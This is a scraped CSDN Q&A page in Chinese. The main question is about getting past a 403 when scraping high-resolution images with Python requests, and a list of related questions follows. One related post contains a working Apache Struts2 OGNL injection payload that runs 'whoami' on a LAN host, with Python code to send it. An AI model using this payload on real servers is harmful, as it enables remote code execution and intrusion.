无法使用python来发送get请求来得到url

想写一个程序来爬取图片,但是图片只显示较低分辨率的,想要得到高分辨率的图片需点一下
图片发送请求才能才能得到有效的高清图片url,不然就算知道url打开也是403,想使用
python里的requests.get来发送请求,但却没效果,就算把cooki和agent打表成参数
给它也没用,有大神知道该怎么解决吗?

url

2个回答

用fiddler这个程序对照你的提交的数据和浏览器提交的,对比每个字段,找出不同。

u012702850
经济基础说重点 回复caozhy: 是图片,有response。
大约 4 年之前 回复
caozhy
每个人都有一个梦才不会孤单的说话就有天堂 回复经济基础说重点: 得到什么文件?有response么?
大约 4 年之前 回复
u012702850
经济基础说重点 谢谢,我发现是cookies不同,但还想问的是,为什么对于同一个url,用浏览器无法查看,但是fiddler却能得到文件?
大约 4 年之前 回复

除了cookie useragent 是不是还要referer等信息也要配置

u012702850
经济基础说重点 有配置
大约 4 年之前 回复
Csdn user default icon
上传中...
上传图片
插入图片
抄袭、复制答案,以达到刷声望分或其他目的的行为,在CSDN问答是严格禁止的,一经发现立刻封号。是时候展现真正的技术了!
其他相关推荐
python本地服务 获得 get请求的 参数 发给微信好友
http://localhost:8888/hello?name=xiaowang&sex=boy 浏览器通过js 发送上面的get请求 python通过监听8888端口 解析url获得 name和sex的值 然后发送给指定微信好友 或者 指定的微信群 要代码python端的代码 js 端是 for循环条件判断 然后发送请求 初学者有些东西搞不太顺
使用python实现rtsp客户端遇见的setup消息发送的问题
使用python实现rtsp客户端的setup消息发送时返回状态码为503;现在不知如何解决,遂请求帮助。有偿+wx:ww1194609610(10rmb) ``` import socket from urllib.parse import urlparse config_dict = { 'cseq': 2, 'user_agent': 'LibVLC/3.0.2 (LIVE555 Streaming Media v2016.11.28)', 'timeout': 3, 'recvbite': 4096, 'res_status': '200 OK', 'rtsp_status': 'flase' } clientports=[60784, 60785] def options_get(url): ''' options请求检测 url: rtsp流地址 return: options请求相应 ''' url = urlparse(url) host = url.netloc hostname = url.hostname path = url.path port = url.port str_options = 'OPTIONS rtsp://' + str(host) + \ path + ' RTSP/1.0\r\n' str_options += 'CSeq: ' + str(config_dict['cseq']) + '\r\n' str_options += 'User-Agent: ' + config_dict['user_agent'] + '\r\n' str_options += '\r\n' print(str_options) client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.settimeout(config_dict['timeout']) client.connect((hostname, port)) client.send(str_options.encode()) d = client.recv(config_dict['recvbite']) return d def describe_get(url): ''' describe请求检测 url: rtsp流地址 return: describe请求相应 ''' url = urlparse(url) host = url.netloc hostname = url.hostname path = url.path port = url.port str_describe = 'DESCRIBE rtsp://' + str(host) + \ path + ' RTSP/1.0\r\n' str_describe += 'CSeq: ' + str(config_dict['cseq'] + 1) + '\r\n' str_describe += 'User-Agent: ' + config_dict['user_agent'] + '\r\n' str_describe += '\r\n' client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.settimeout(config_dict['timeout']) client.connect((hostname, port)) client.send(str_describe.encode()) d = client.recv(config_dict['recvbite']) return d def setup_get(url): ''' setup请求检测 url: rtsp流地址 return: setup请求相应 ''' url = urlparse(url) host = url.netloc hostname = url.hostname path = url.path port = url.port str_setup = 'SETUP rtsp://' + str(host) + path + '/' + 'streamid=0' + ' RTSP/1.0\r\n' str_setup += 'CSeq: ' + str(config_dict['cseq'] + 2) + '\r\n' str_setup += 'User-Agent: ' + config_dict['user_agent'] + '\r\n' # config_dict['user_agent'] str_setup += 'Transport: RTP/AVP;unicast;client_port=61740-61741\r\n\r\n' str_setup += '\r\n' client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.settimeout(config_dict['timeout']) client.connect((hostname, port)) client.send(str_setup.encode()) d = client.recv(config_dict['recvbite']) return d def teardown_get(url): ''' teardown请求检测 url: rtsp流地址 return: teardown请求相应 ''' url = urlparse(url) host = url.netloc hostname = url.hostname path = url.path port = url.port str_teardown = 'TEARDOWN rtsp://' + str(host) + path + ' RTSP/1.0\r\n' str_teardown += 'CSeq: ' + str(config_dict['cseq'] + 4) + '\r\n' str_teardown += 'User-Agent: ' + config_dict['user_agent'] + '\r\n' str_teardown += '\r\n' print(str_teardown) client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.settimeout(config_dict['timeout']) client.connect((hostname, port)) client.send(str_teardown.encode()) d = client.recv(config_dict['recvbite']) return d def send_main(url): try: str_options = str(options_get(url)) print(str_options) if config_dict['res_status'] in str_options: str_des = str(describe_get(url)) print(str_des) if config_dict['res_status'] in str_des: str_setup = str(setup_get(url)) str_teardown = str(teardown_get(url)) print(str_setup) print(str_teardown) if config_dict['res_status'] in str_teardown: config_dict['rtsp_status'] = 'true' return True except Exception: return False else: return False print(send_main('rtsp://192.168.10.214:554/live/av0')) ``` 上方为我的代码。 b'RTSP/1.0 503 Service Unavailable\r\nCSeq: 4\r\nDate: Thu, 01 Jan 1970 07:11:16 GMT\r\n\r\n' 此段消息为setup请求的返回信息,我看过rtsp的相关文档,说describe请求返回的sdp信息,客户端再分析该SDP描述,并为会话中的每一个流发送一个RTSP建立命令( SETUP)。这个我没搞懂,也不知道如何写,这里进行请教一下。 下面是我的一次正常的rtsp交互信息。 ``` OPTIONS rtsp://192.168.10.214:554/live/av0 RTSP/1.0 CSeq: 2 User-Agent: LibVLC/3.0.5 (LIVE555 Streaming Media v2016.11.28) RTSP/1.0 200 OK CSeq: 2 Public: OPTIONS, DESCRIBE, SETUP, TEARDOWN, PLAY, PAUSE DESCRIBE rtsp://192.168.10.214:554/live/av0 RTSP/1.0 CSeq: 3 User-Agent: LibVLC/3.0.5 (LIVE555 Streaming Media v2016.11.28) Accept: application/sdp RTSP/1.0 200 OK CSeq: 3 Date: Thu, 01 Jan 1970 07:05:17 GMT Content-Base: rtsp://192.168.10.214:554/live/av0/ Content-Type: application/sdp Content-Length: 315 v=0 o=- 0 0 IN IP4 127.0.0.1 s=No Title c=IN IP4 0.0.0.0 t=0 0 a=tool:libavformat 55.12.100 m=video 0 RTP/AVP 96 a=rtpmap:96 H264/90000 a=fmtp:96 packetization-mode=1; sprop-parameter-sets=Z2QAKq2EAQwgCGEAQwgCGEAQwgCEK1A8ARPyzcBAQFAAAAMAEAAAAwPIQA==,aO48sA==; profile-level-id=64002A a=control:streamid=0 SETUP rtsp://192.168.10.214:554/live/av0/streamid=0 RTSP/1.0 CSeq: 4 User-Agent: LibVLC/3.0.5 (LIVE555 Streaming Media v2016.11.28) Transport: RTP/AVP;unicast;client_port=61740-61741 RTSP/1.0 200 OK CSeq: 4 Date: Thu, 01 Jan 1970 07:05:17 GMT Session: 093634014dba841b Transport: RTP/AVP/UDP;unicast;client_port=61740-61741;server_port=20006-20007 PLAY rtsp://192.168.10.214:554/live/av0/ RTSP/1.0 CSeq: 5 User-Agent: LibVLC/3.0.5 (LIVE555 Streaming Media v2016.11.28) Session: 093634014dba841b Range: npt=0.000- RTSP/1.0 200 OK CSeq: 5 Date: Thu, 01 Jan 1970 07:05:17 GMT Session: 093634014dba841b TEARDOWN rtsp://192.168.10.214:554/live/av0/ RTSP/1.0 CSeq: 6 User-Agent: LibVLC/3.0.5 (LIVE555 Streaming Media v2016.11.28) Session: 093634014dba841b RTSP/1.0 200 OK CSeq: 6 Date: Thu, 01 Jan 1970 07:05:21 GMT Session: 093634014dba841b ```
python使用requests.get时,请求头的cookie是随机变化的,该怎么写请求头?
例如以下是请求的url: http://search.10jqka.com.cn/stockpick/search?typed=0&preParams=&ts=1&f=1&qs=result_original&selfsectsn=&querytype=stock&searchfilter=&tid=stockpick&w=%E5%B8%82%E7%9B%88%E7%8E%87%E5%A4%A7%E4%BA%8E%E7%AD%89%E4%BA%8E21%E5%80%8D%E4%B8%94%E5%B8%82%E7%9B%88%E7%8E%87%E5%B0%8F%E4%BA%8E%E7%AD%89%E4%BA%8E22%E5%80%8D&queryarea= 以下请求头: Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7,zh-TW;q=0.6,vi;q=0.5 Cache-Control: max-age=0 Connection: keep-alive Cookie: Hm_lvt_78c58f01938e4d85eaf619eae71b4ed1=1550575085,1552764171; PHPSESSID=e9cddc3108ec629d2db0c2f2e30ce810; cid=e9cddc3108ec629d2db0c2f2e30ce8101552829178; ComputerID=e9cddc3108ec629d2db0c2f2e30ce8101552829178; other_uid=ths_mobile_iwencai_2e6c84325ffc4a0b201b430c00d1df46; iwencaisearchquery=%E8%BF%9E%E7%BB%AD15%E5%B9%B4%E6%89%A3%E9%9D%9E%E5%87%80%E5%88%A9%E6%B6%A6%E5%A4%A7%E4%BA%8E0%20%E5%B8%82%E5%87%80%E7%8E%87%E4%BD%8E%E4%BA%8E2%20roe%E9%AB%98%E4%BA%8E10%25%20%E5%B8%82%E7%9B%88%E7%8E%87%E4%BD%8E%E4%BA%8E20; guideState=1; Hm_lpvt_78c58f01938e4d85eaf619eae71b4ed1=1552835669; v=AoFMlTW5uV-o89Vrfg5AnBoTkMaYrvY4Hy-ZvOPWfVvmsa8wK_4FcK9yqbBw Host: search.10jqka.com.cn Referer: http://search.10jqka.com.cn/stockpick/search?typed=1&preParams=&ts=1&f=1&qs=result_rewrite&selfsectsn=&querytype=stock&searchfilter=&tid=stockpick&w=%E5%B8%82%E7%9B%88%E7%8E%87%E5%A4%A7%E4%BA%8E%E7%AD%89%E4%BA%8E21%E5%80%8D%E4%B8%94%E5%B8%82%E7%9B%88%E7%8E%87%E5%B0%8F%E4%BA%8E%E7%AD%89%E4%BA%8E22%E5%80%8D&queryarea= Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36 我的代码: r=requests.get(myurl,headers=myheader) 其中myurl就是上面要请求的url,myheader就是上面的请求头 如果请求头里不包含cookie,那么r.text的结果就显示异常,根本不是我想要的信息: ![图片说明](https://img-ask.csdn.net/upload/201903/18/1552889612_367617.jpg) 若是请求头里包含了cookie,那么r.text就显示正常(正常的我就不列出来了)。但问题来了:这个cookie是随机没有规律的,而且过一段时间就失效,而且好像我打开新的网页也会重置什么的,那我怎么才能写请求头呢?
最近突发奇想用java去请求python写的接口结果出问题了
python代码如下: ``` import tornado from wtforms_tornado import Form import sys class hello(tornado.web.RequestHandler): def get(self): self.render("hello.html") class ajaxtest(tornado.web.RequestHandler): def set_default_headers(self): print("setting headers!!!") self.set_header("Access-Control-Allow-Origin", "*") self.set_header("Access-Control-Allow-Headers", "x-requested-with") self.set_header('Access-Control-Allow-Methods', 'POST, GET, OPTIONS') def get(self): data="你好我是刘德华" #data.encode("utf-8") print("get") self.write(data) def post(self): import json res=dict( hel="你好我是刘德华", d="ee" ) json = json.dumps(res) print("post") self.write(json) ``` python的代码应该是没有问题的 问题应该出在java上因为用直接用jQuery ajax请求是完全没有问题的 java代码如下: ``` package xiaoxiaomo; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.io.PrintWriter; import java.io.UnsupportedEncodingException; import java.net.URL; import java.net.URLConnection; import java.util.List; import java.util.Map; public class test { /** * 向指定URL发送GET方法的请求 * * @param url * 发送请求的URL * @param param * 请求参数,请求参数应该是 name1=value1&name2=value2 的形式。 * @return URL 所代表远程资源的响应结果 */ public test() { // TODO Auto-generated constructor stub } public static String sendGet(String url, String param) { String result = ""; BufferedReader in = null; try { String urlNameString = url + "?" + param; URL realUrl = new URL(urlNameString); // 打开和URL之间的连接 URLConnection connection = realUrl.openConnection(); // 设置通用的请求属性 connection.setRequestProperty("accept", "*/*"); connection.setRequestProperty("connection", "Keep-Alive"); connection.setRequestProperty("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)"); // 建立实际的连接 connection.connect(); // 获取所有响应头字段 Map<String, List<String>> map = connection.getHeaderFields(); // 遍历所有的响应头字段 for (String key : map.keySet()) { System.out.println(key + "--->" + map.get(key)); } // 定义 BufferedReader输入流来读取URL的响应 in = new BufferedReader(new InputStreamReader( connection.getInputStream())); String line; while ((line = in.readLine()) != null) { result += line; } } catch (Exception e) { System.out.println("发送GET请求出现异常!" + e); e.printStackTrace(); } // 使用finally块来关闭输入流 finally { try { if (in != null) { in.close(); } } catch (Exception e2) { e2.printStackTrace(); } } return result; } /** * 向指定 URL 发送POST方法的请求 * * @param url * 发送请求的 URL * @param param * 请求参数,请求参数应该是 name1=value1&name2=value2 的形式。 * @return 所代表远程资源的响应结果 */ public static String sendPost(String url, String param) { PrintWriter out = null; BufferedReader in = null; String result = ""; try { URL realUrl = new URL(url); // 打开和URL之间的连接 URLConnection conn = realUrl.openConnection(); // 设置通用的请求属性 conn.setRequestProperty("accept", "*/*"); conn.setRequestProperty("connection", "Keep-Alive"); conn.setRequestProperty("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)"); // 发送POST请求必须设置如下两行 conn.setDoOutput(true); conn.setDoInput(true); // 获取URLConnection对象对应的输出流 out = new PrintWriter(conn.getOutputStream()); // 发送请求参数 out.print(param); // flush输出流的缓冲 out.flush(); // 定义BufferedReader输入流来读取URL的响应 in = new BufferedReader( new InputStreamReader(conn.getInputStream())); String line; while ((line = in.readLine()) != null) { result += line; } } catch (Exception e) { System.out.println("发送 POST 请求出现异常!"+e); e.printStackTrace(); } //使用finally块来关闭输出流、输入流 finally{ try{ if(out!=null){ out.close(); } if(in!=null){ in.close(); } } catch(IOException ex){ ex.printStackTrace(); } } return result; } public static String getEncoding(String str) { String encode = "GB2312"; try { if (str.equals(new String(str.getBytes(encode), encode))) { //判断是不是GB2312 String s = encode; return s; //是的话,返回“GB2312“,以下代码同理 } } catch (Exception exception) { } encode = "ISO-8859-1"; try { if (str.equals(new String(str.getBytes(encode), encode))) { //判断是不是ISO-8859-1 String s1 = encode; return s1; } } catch (Exception exception1) { } encode = "UTF-8"; try { if (str.equals(new String(str.getBytes(encode), encode))) { //判断是不是UTF-8 String s2 = encode; return s2; } } catch (Exception exception2) { } encode = "GBK"; try { if (str.equals(new String(str.getBytes(encode), encode))) { //判断是不是GBK String s3 = encode; return s3; } } catch (Exception exception3) { } return ""; } public static void main(String[] args) throws UnsupportedEncodingException { //发送 GET 请求 String s=test.sendGet("http://127.0.0.1:9999/ajax", "key=123&v=456"); // String str=new String(s.getBytes(),"utf-8"); String type=getEncoding(s); System.out.println("字符串的编码是:"+type); System.out.println(s); //发送 POST 请求 // String sr=test.sendPost("http://localhost:6144/Home/RequestPostString", "key=123&v=456"); // System.out.println(sr); } } ``` 执行效果如下中文乱码: ![图片说明](https://img-ask.csdn.net/upload/201805/16/1526480833_741806.png) 然后我转了字符串编码为utf-8执行结果如下最后一个字显示问号 ![图片说明](https://img-ask.csdn.net/upload/201805/16/1526480961_68315.png) 后面没有办法,我在python就把字符串转为utf-8 ![图片说明](https://img-ask.csdn.net/upload/201805/16/1526481027_280369.png) 结果执行以后编码是utf-8没错 但是还是乱码 这是咋回事啊 ![图片说明](https://img-ask.csdn.net/upload/201805/16/1526481133_525792.png)
python构造post请求,并获取响应内容。
使用python脚本自定义一个post请求然后发送,并得到响应内容。 POST请求如下图,响应内容为右侧内容。 ![图片说明](https://img-ask.csdn.net/upload/201812/18/1545116829_200709.png) Content-Type: application/x-www-form-urlencoded 是必须存在的. 测试过两种方法,一种是 ```python #coding:utf-8 import requests import urllib import urllib2 import os url = 'http://192.168.1.22:8080/example/HelloWorld.action' d = "('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43mycmd\75\'whoami\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))" headerss = { 'Content-Type' : 'application/x-www-form-urlencoded'} r = requests.post(url,d,headerss) print r.text print r.headers ``` ![图片说明](https://img-ask.csdn.net/upload/201812/18/1545117452_831993.png) 第二种是将POST的数据放到report.txt文件中,尝试过把图1整个POST内容放入,失败,尝试如下代码只放定义的主体内容,失败。 ``` #coding:utf-8 import requests import urllib import urllib2 import os # url = 'http://192.168.1.22:8080/example/HelloWorld.action' # d = "('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43mycmd\75\'whoami\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))" # headerss = { 'Content-Type' : 'application/x-www-form-urlencoded'} # r = requests.post(url,d,headerss) # print r.text # print r.headers url = 'http://192.168.1.22:8080/example/HelloWorld.action' jy = open('report.txt') a = jy.read() files = {'file': a} print files['file'] r = requests.post(url, a) print r.text head = r.headers print head ``` ![图片说明](https://img-ask.csdn.net/upload/201812/18/1545117858_828662.png)
使用Python的Splinter模块打开页面时遇到了问题。
各位大大们好: 我是一个刚接触splinter的新手,我在使用splinter时遇到了一些问题,自己试图解决未能成功,因此想要向大大们请教一下。 我在使用browser.visit(url)时,程序报错,我分情况总结了一下:如果url是"http://www.baidu.com"这样正确的地址,会报错httplib.CannotSendRequest,若为"http://www.baidu.com/",则socket会报错[errno 10061];看起来是没有成功发送http请求。 但是假如url是形如"http://blog.sina.com.cn/s/doesnotexist.html",则能够正常返回错误码,这又说明请求是成功发出了,而且也得到了回复,请问这是为什么?我该如何解决这种问题? 我的电脑是win操作系统,splinter是用pip安装的。
请求python3.7中 的url中文问题
import string import urllib import json import time from quopri import quote ISOTIMEFORMAT='%Y-%m-%d %X' outputFile = 'douban_movie.txt' fw = open(outputFile, 'w') fw.write('id;title;url;cover;rate\n') headers = {} headers["Accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8" headers["Accept-Encoding"] = "gzip, deflate, sdch" headers["Accept-Language"] = "zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4,ja;q=0.2" # headers["Cache-Control"] = "max-age=0" headers["Connection"] = "keep-alive" # headers["Cookie"] = 'bid="LJSWKkSUfZE"; ll="108296"; __utmt=1; regpop=1; _pk_id.100001.4cf6=32aff4d8271b3f15.1442223906.2.1442237186.1442224653.; _pk_ses.100001.4cf6=*; __utmt_douban=1; __utma=223695111.736177897.1442223906.1442223906.1442236473.2; __utmb=223695111.0.10.1442236473; __utmc=223695111; __utmz=223695111.1442223906.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=30149280.674845100.1442223906.1442236473.1442236830.3; __utmb=30149280.4.9.1442237186215; __utmc=30149280; __utmz=30149280.1442236830.3.2.utmcsr=baidu|utmccn=(organic)|utmcmd=organic; ap=1' headers["Host"] = "movie.douban.com" headers["Referer"] = "http://movie.douban.com/" headers["Upgrade-Insecure-Requests"] = 1 headers["User-Agent"] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36" # 获取tag request = urllib.request.Request(url="http://movie.douban.com/j/search_tags?type=movie") response = urllib.request.urlopen(request) tags = json.loads(response.read())['tags'] # 开始爬取 print ("********** START **********") print (time.strftime( ISOTIMEFORMAT, time.localtime() )) for tag in tags: print ("Crawl movies with tag: " + tag) print (time.strftime( ISOTIMEFORMAT, time.localtime() )) start = 0 while True: url = "http://movie.douban.com/j/search_subjects?type=movie&tag=" +tag.encode("utf-8")+"&page_limit=20&page_start="+str(start) #url = quote(url, safe=string.printable) request = urllib.request.Request(url=url) response = urllib.request.urlopen(request) movies = json.loads(response.read())['subjects'] if len(movies) == 0: break for item in movies: rate = item['rate'] title = item['title'] url = item['url'] cover = item['cover'] movieId = item['id'] record = str(movieId) + ';' + title + ';' + url + ';' + cover + ';' + str(rate) + '\n' fw.write(record.encode('utf-8')) print (tag + '\t' + title) start = start + 20 fw.close() ![图片说明](https://img-ask.csdn.net/upload/201906/02/1559463756_939891.png) ![图片说明](https://img-ask.csdn.net/upload/201906/02/1559463786_165838.png) ![图片说明](https://img-ask.csdn.net/upload/201906/02/1559463796_447639.png) ![图片说明](https://img-ask.csdn.net/upload/201906/02/1559463972_311111.png)
python webpy获取请求post参数时,无法获取到正确的参数
客户端: url='http://127.0.0.1:8080/bussiness/execute' parm={'id':2,'op_list':[1,2,3]} response=requests.post(url,parm) 服务端: def POST(self): web.header("Access-Control-Allow-Origin", "*") web.header('content-type','text/json') req=web.input() print req 打印出来的req是: <Storage {'id': u'2', 'op_list': u'3'}> op_list这个数组没正确的获取到 如果客户端请求的parm是parm={'id':2,'op_list':'1111'} 则获取的req是正常的
python写的简易服务器软件,用pythonIDLE运行没问题,用windows CMD就有问题,请求大佬?
有一个很奇怪的问题想请大佬解决:有一个程序用pythonIDLE运行没问题,用windows CMD就不行。 我自学着用python+bottle写了一个聊天服务器和客户端,用的是http协议通信。 服务器代码大概是这样的: ```python from bottle import run,request,post,get import PySimpleGUI as sg from bottle import PasteServer import json Host="192.168.3.8" Port=8080 @post('/login') def index(): ...... run(host=Host,port=Port,server=PasteServer) ``` 其中Host="192.168.3.8"是自己的内网IP。 客户端代码: ```python IP="马赛克"(我的外网ip) PORT="2048" def Login(user_name,password): try: requests.post(url=IP+":"+PORT+"/login",data=json.dumps(login_info),timeout=2) except: .... ``` 同时在路由器中,我把外网ip:2048映射到了"192.168.3.8:8080"内网IP上。 然后就出现了如上问题:如果服务器的程序在pythonIDLE按F5运行,客户端就能够通过外网IP映射进来,与服务端联系;但是在windows下双击服务器程序文件运行,客户端就不能连接到服务器。请问这是什么原因?怎么解决?
python request 库POST请求从ajax爬取数据遇到formdata不会处理了
目标爬取网站为http://www.ccgp-shaanxi.gov.cn/notice/list.do?noticetype=3&province=province form data为: ![form data](https://img-ask.csdn.net/upload/201806/08/1528427159_833509.png) 以下为我的代码: ``` import requests from urllib.parse import urlencode base_url = 'http://www.ccgp-shaanxi.gov.cn/notice/noticeaframe.do?noticetype=' noticetype = '3' url = base_url + noticetype headers = { 'Host': 'www.ccgp-shaanxi.gov.cn', 'Referer': 'http://www.ccgp-shaanxi.gov.cn/notice/list.do?noticetype=3&province=province', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36', 'X-Requested-With': 'XMLHttpRequest'} data = { 'parameters[purcatalogguid]': '', 'page.pageNum': '', 'parameters[title]': '税', 'parameters[startdate]': '', 'parameters[enddate]': '', 'parameters[regionguid]': '6101', 'parameters[projectcode]': '', 'province': '', 'parameters[purmethod]': '' } data = urlencode(data) print(data) request = requests.post(url, data=data, headers=headers) # print(request.text) print(request.headers) ``` 但是获取到的信息反应、感觉formdata貌似没有起作用,因本人属于新手小白,各位大神能指点指点吗?
请求各位大神指出下面一段python爬虫代码的问题:
我想在24365官网上爬取招聘信息中的岗位名称和公司名称到EXCEL表格中,但运行代码后表格里只有标题,没有内容,要爬取的网站如图所示: ![图片说明](https://img-ask.csdn.net/upload/202003/25/1585128946_797460.png) 网址:https://job.ncss.cn/student/jobs/index.html?server=true&jobName=%E5%AE%89%E5%85%A8&areaCode=&degreeCode=&monthPay=&areasName=%E5%85%A8%E5%9B%BD 代码如下: import urllib.request,traceback import re import xlwt #用来创建excel文档并写入数据 def get_content(page): url = 'https://job.ncss.cn/student/jobs/index.html?server=true&jobName=%E5%AE%89%E5%85%A8&areaCode=&degreeCode=&monthPay=&areasName=%E5%85%A8%E5%9B%BD'+str(page)+'.html' a = urllib.request.urlopen(url)#打开网址 html = a.read().decode('utf-8')#读取源代码并转为unicode return html def get(html): reg = re.compile(r'class="company-name" .*?>(.*?)</span>.*?<span>(.*?)</span>',re.S)#匹配换行符,设置正则表达式 items = re.findall(reg,html) return items def excel_write(items,index): #爬取到的内容写入excel表格 for item in items:#职位信息 for i in range(0,2): #print item[i] ws.write(index,i,item[i])#行,列,数据 print(index) index+=1 newTable="test2.xls"#表格名称 wb = xlwt.Workbook(encoding='utf-8')#创建excel文件,声明编码 ws = wb.add_sheet('sheet1')#创建表格 headData = ['公司','类型']#表头部信息 for colnum in range(0,2): ws.write(0, colnum, headData[colnum], xlwt.easyxf('font: bold on')) # 行,列 for each in range(1,10): index=(each-1)*50+1 excel_write(get(get_content(each)),index) wb.save(newTable) 该网站爬取内容所需的审查元素在下图的蓝色位置: ![图片说明](https://img-ask.csdn.net/upload/202003/25/1585129490_756957.png) 审查元素具体内容如下: ![图片说明](https://img-ask.csdn.net/upload/202003/25/1585130245_156158.png)
ajax无法发送请求,后台也未接收到请求
试了很多次,表单提交后,到alert(data)一句(包括这一句)都执行正常,但之后的ajax语句就无法发送请求,ajax语句里面的几个alert也没有运行,最后的alert('1')也没有运行(异步请求正常运行的话应该是会执行的吧) 以下是前端代码,本来代码是要复杂些的,但我调试的时候把代码简化了,基本确定是ajax语句的问题了。 ``` $(function () { 'use strict'; $('#login_form').submit(function (event) { event.stopPropagation(); event.preventDefault(); var nickname = $('#login_form').find('#login_nickname').val(); var pwd = $('#login_form').find('#login_password').val(); if (!nickname || !pwd) { $('#login_text').show(); } var raw_data = { title: 'login', nickname: nickname, password: pwd } var data = JSON.stringify(raw_data); alert(data); $.ajax('/login', { dataType: 'json' }).done(function (data) { alert('成功'); }).fail(function (xhr, status) { alert('失败'); }).always(function () { alert('请求完成: 无论成功或失败都会调用'); }); alert('1'); }); }); ``` 后端代码如下,用的是flask。按理来说即便url不对,后台也应该有请求记录的,然而后台并没有显示该记录 ``` @app.route('/login',methods=['POST',]) def login(): if g.user is not None and g.user.is_authenticated: flash('You have already logged in!') return redirect(url_for('home')) raw_data=request.get_data() print(raw_data) data=json.loads(raw_data) print(data[pwd],data[nickname]) resp=dict(success = True,text ='limbohotmore!') return json.dumps(resp) ``` 后台记录如下,无论提交几次表单,都只有第一次获取主页面的请求记录 ``` * Restarting with stat * Debugger is active! * Debugger PIN: 289-281-425 * Running on http://0.0.0.0:5000/ (Press CTRL+C to quit) 127.0.0.1 - - [26/Jul/2019 12:52:27] "GET / HTTP/1.1" 200 - ```
python爬虫移动端评论,浏览器能打开url,但request.get返回内容404,已加header。
python爬虫新手,想爬取一个app评论图,用charles抓包获得url, 在浏览器上能打开是一个xml文件,但是用request.get(url,header)请求开始报错405,将https改为http后报错404 实在找不出问题是什么限制访问了,望大神解答~~~ url= "https://*********************/comment-list.html?page=1&pagesize=20&type=1&fnum=HU7781&dep_code=HAK&arr_code=PEK&tag_id=images&with=reply&user_id=&access_token=jwZ9PW62rrHUWG3ZSJehX-c9PzuSEya0"(真实网址host已用*代替)** charles报文如下 ![图片说明](https://img-ask.csdn.net/upload/201810/12/1539329428_982517.png) ![图片说明](https://img-ask.csdn.net/upload/201810/12/1539329446_282668.png)
使用python requests 利用代理 爬取网站内容时候,返回的网页内容是代理ip的网站内容
proxies={ "http": "http://61.135.217.7:80", "https":"https://113.108.130.210:808" } 请求方式: requests.get(url="a 网址",proxies=proxies} 代理ip来源于 http://www.xicidaili.com/nn/ 按照这样的格式爬取的数据,结果爬取的到的内容不是a网址的内容,而是代理中 ['http']的代理的网页内容。 如果 requests.get(url="a 网址",proxies=None} 不使用代理,则可以获取到网页的正确的内容? 不知道怎么回事
python scrapy 爬虫图片新手求助
求问大神 我这个data她怎么了 报错: 2020-02-07 09:24:55 [scrapy.utils.log] INFO: Scrapy 1.8.0 started (bot: meizitu) 2020-02-07 09:24:55 [scrapy.utils.log] INFO: Versions: lxml 4.5.0.0, libxml2 2.9.5, cssselect 1.1.0, parsel 1.5.2, w3lib 1.21.0, Twisted 19.10.0, Python 3.7.3 (v3.7.3:ef4ec6ed12, Mar 25 2019, 22:22:05) [MSC v.1916 64 bit (AMD64)], pyOpenSSL 19.1.0 (OpenSSL 1.1.1d 10 Sep 2019), cryptography 2.8, Platform Windows-10-10.0.17763-SP0 2020-02-07 09:24:55 [scrapy.crawler] INFO: Overridden settings: {'BOT_NAME': 'meizitu', 'NEWSPIDER_MODULE': 'meizitu.spiders', 'ROBOTSTXT_OBEY': True, 'SPIDER_MODULES': ['meizitu.spiders']} 2020-02-07 09:24:55 [scrapy.extensions.telnet] INFO: Telnet Password: 0936097982b9bcc8 2020-02-07 09:24:55 [scrapy.middleware] INFO: Enabled extensions: ['scrapy.extensions.corestats.CoreStats', 'scrapy.extensions.telnet.TelnetConsole', 'scrapy.extensions.logstats.LogStats'] 2020-02-07 09:24:56 [scrapy.middleware] INFO: Enabled downloader middlewares: ['scrapy.downloadermiddlewares.robotstxt.RobotsTxtMiddleware', 'scrapy.downloadermiddlewares.httpauth.HttpAuthMiddleware', 'scrapy.downloadermiddlewares.downloadtimeout.DownloadTimeoutMiddleware', 'scrapy.downloadermiddlewares.defaultheaders.DefaultHeadersMiddleware', 